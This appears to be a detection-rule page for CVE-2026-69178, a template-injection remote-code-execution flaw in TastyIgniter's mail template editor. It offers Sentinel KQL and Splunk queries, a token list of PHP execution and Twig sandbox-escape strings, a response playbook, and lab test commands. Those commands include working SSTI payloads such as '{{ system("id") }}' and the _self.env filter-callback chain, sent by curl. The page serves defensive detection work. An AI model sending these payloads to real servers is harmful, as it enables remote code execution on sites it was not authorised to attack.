Skip to content
CVE-2026-69178 Microsoft Sentinel · KQL

Detect TastyIgniter Mail Template Editor SSTI Remote Code Execution (CVE-2026-69178) in Microsoft Sentinel

Detects exploitation of CVE-2026-69178, a server-side template injection (SSTI, CWE-1336) vulnerability in the TastyIgniter mail template editor affecting tastyigniter/tastyigniter versions before 4.3.1. The mail template editor renders admin-supplied template bodies through the Blade/Twig templating engine without sanitising template directives, allowing an authenticated administrative user (or an attacker who has compromised such access) to inject template expressions that execute arbitrary PHP on the server. Detection focuses on POST requests to the admin mail template save/preview endpoints carrying template-injection payloads, PHP process execution (php-fpm/php spawning shells), and web-shell-like child processes from the TastyIgniter/Laravel application context. CVSS 9.1, public PoC available.

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-175589922c · https://df00tech.com/detections/CVE-2026-69178 · licence: https://df00tech.com/detections/licence
let suspiciousTokens = dynamic(["{{","}}","{%","system(","shell_exec","passthru","proc_open","_self.env","getFilter","registerUndefinedFilterCallback","call_user_func","base64_decode","file_put_contents"]);
W3CIISLog
| where csUriStem has_any ("/admin/mail_templates", "/admin/system/mail_templates", "mail_templates/edit", "mail_templates/preview", "mail_templates/save")
| where csMethod == "POST"
| extend decodedQuery = url_decode(coalesce(csUriQuery, ""))
| where decodedQuery has_any (suspiciousTokens) or csUriStem has_any (suspiciousTokens)
| project TimeGenerated, cIP, csUriStem, csMethod, decodedQuery, scStatus, csUserAgent, Computer
| order by TimeGenerated desc
high severity medium confidence

Finds POST requests to the TastyIgniter admin mail template editor endpoints that contain template-injection or RCE tokens in the URI/query. Pair with the hunting query against web application body logs for higher fidelity.

Data Sources

IIS LogsWeb Server LogsAzure WAF

Required Tables

W3CIISLog

False Positives & Tuning

  • Legitimate administrators editing mail templates that intentionally contain Blade/Twig expressions such as {{ $order->total }}.
  • Security scanners or DAST tools (e.g. Burp, ZAP) probing the admin interface during authorised assessments.
  • Template bodies that reference variables containing double braces for non-malicious display logic.

Other platforms for CVE-2026-69178


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulate SSTI payload POST to TastyIgniter mail template endpoint

    Expected signal: Web access log entry: POST to /admin/mail_templates/edit/1 with URL-decoded body containing '{{ system(' tokens.

  2. Test 2 Simulate PHP-spawned shell post-exploitation

    Expected signal: Process start event: parent=php, child=sh/id/whoami.

  3. Test 3 Simulate Twig sandbox-escape payload token

    Expected signal: Web access log entry with POST to mail_templates/preview containing '_self.env' and 'registerUndefinedFilterCallback' tokens.


Response Playbook

Triage

  1. Confirm the TastyIgniter version on the affected host; versions < 4.3.1 are vulnerable to CVE-2026-69178.
  2. Review the web access logs for the matched source IP and determine whether the POST to the mail template endpoint originated from a legitimate authenticated admin session or an unexpected IP/user-agent.
  3. Pull the saved mail template record from the database (admin_mail_templates / layouts) and inspect the body for injected directives such as {{ system(...) }}, _self.env, or base64-encoded payloads.
  4. Check whether any PHP/web-server process spawned shell or recon utilities around the time of the request (correlate with the EDR/EQL/CQL queries).

Containment

  1. Isolate the affected web host from the network if post-exploitation process activity is confirmed.
  2. Revoke and rotate the credentials/sessions of the admin account used to submit the malicious template, and reset application and database secrets that may have been exposed.
  3. Remove or revert the malicious mail template body to a known-good value and disable the mail template editor until patched.

Evidence Collection

  1. Preserve web server access and error logs, PHP-FPM logs, and the full request body for the offending POST requests.
  2. Export the affected mail template rows from the database (including modified_at and author fields) before remediation.
  3. Capture process execution telemetry and any dropped files (web shells) under the web root and storage/framework directories for forensic analysis.

Escalation Criteria

  • !Escalate to incident response if shell execution or outbound connections from the PHP/web-server process are confirmed.
  • !Escalate if evidence shows lateral movement, credential theft, or persistence (new admin users, cron jobs, modified application files) following the template injection.

Investigation Guide

Forensic Artifacts

  • >Modified rows in the TastyIgniter mail template tables (body, modified_at, author).
  • >Web server and PHP-FPM access/error logs showing the POST requests and any rendering errors.
  • >Newly created or modified PHP files under the application web root and storage/framework/views cache directory.

Tuning Guidance

Baseline which internal admin IPs and user-agents legitimately edit mail templates and allow-list them. Because templates legitimately contain Blade/Twig double-brace expressions, prioritise the process-execution detections (PHP spawning shells) for high-confidence alerting and treat the web-log token matches as medium-confidence corroboration. Narrow the token list if legitimate templates frequently use functions like call_user_func in your environment.


Hunting Queries

Hunt for SSTI payload tokens inside POST requests to the TastyIgniter mail template editor across web logs.

Hunting — KQL
kql
// df00tech DF00-175589922c · https://df00tech.com/detections/CVE-2026-69178 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "mail_templates" and csMethod == "POST" | extend body = url_decode(coalesce(csUriQuery,"")) | where body has_any ("_self.env","registerUndefinedFilterCallback","system(","shell_exec") | project TimeGenerated, cIP, csUriStem, body, scStatus
Hunting — SPL
spl
``` df00tech DF00-175589922c · https://df00tech.com/detections/CVE-2026-69178 · licence: https://df00tech.com/detections/licence ```
index=web sourcetype IN ("iis","access_combined","nginx:plus:access") "mail_templates" method=POST | eval decoded=urldecode(_raw) | search decoded="*_self.env*" OR decoded="*system(*" OR decoded="*shell_exec*" | table _time src_ip uri status

Atomic Red Team Tests

Test 1 Simulate SSTI payload POST to TastyIgniter mail template endpoint
linux

Sends a crafted POST request to the mail template save endpoint containing a template-injection payload to validate web-log detection coverage (lab only).

Command

bash
curl -s -X POST 'http://tastyigniter.lab/admin/mail_templates/edit/1' -H 'Cookie: igniter_session=LABSESSION' --data-urlencode 'Template[body]={{ system("id") }}' -o /dev/null

Cleanup

bash
curl -s -X POST 'http://tastyigniter.lab/admin/mail_templates/edit/1' -H 'Cookie: igniter_session=LABSESSION' --data-urlencode 'Template[body]=Hello {{ $customer_name }}' -o /dev/null

Expected Telemetry

Web access log entry: POST to /admin/mail_templates/edit/1 with URL-decoded body containing '{{ system(' tokens.

Expected Detection

The KQL/SPL/QRadar/Sumo/Chronicle web-log rules match the SSTI token in the POST request.

Test 2 Simulate PHP-spawned shell post-exploitation
linux

Emulates the RCE outcome by having a PHP process spawn a shell command, validating EDR process-lineage detections.

Command

bash
php -r 'system("id; whoami");'

Cleanup

bash
true

Expected Telemetry

Process start event: parent=php, child=sh/id/whoami.

Expected Detection

The Elastic EQL and CrowdStrike CQL process-lineage rules fire on the PHP->shell parent/child relationship.

Test 3 Simulate Twig sandbox-escape payload token
linux

Sends a POST containing the classic Twig _self.env / registerUndefinedFilterCallback sandbox-escape chain used in SSTI exploitation (lab only).

Command

bash
curl -s -X POST 'http://tastyigniter.lab/admin/mail_templates/preview' -H 'Cookie: igniter_session=LABSESSION' --data-urlencode 'Template[body]={{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}' -o /dev/null

Cleanup

bash
true

Expected Telemetry

Web access log entry with POST to mail_templates/preview containing '_self.env' and 'registerUndefinedFilterCallback' tokens.

Expected Detection

Web-log detections match the Twig sandbox-escape tokens; alert raised at medium confidence.

Related Detections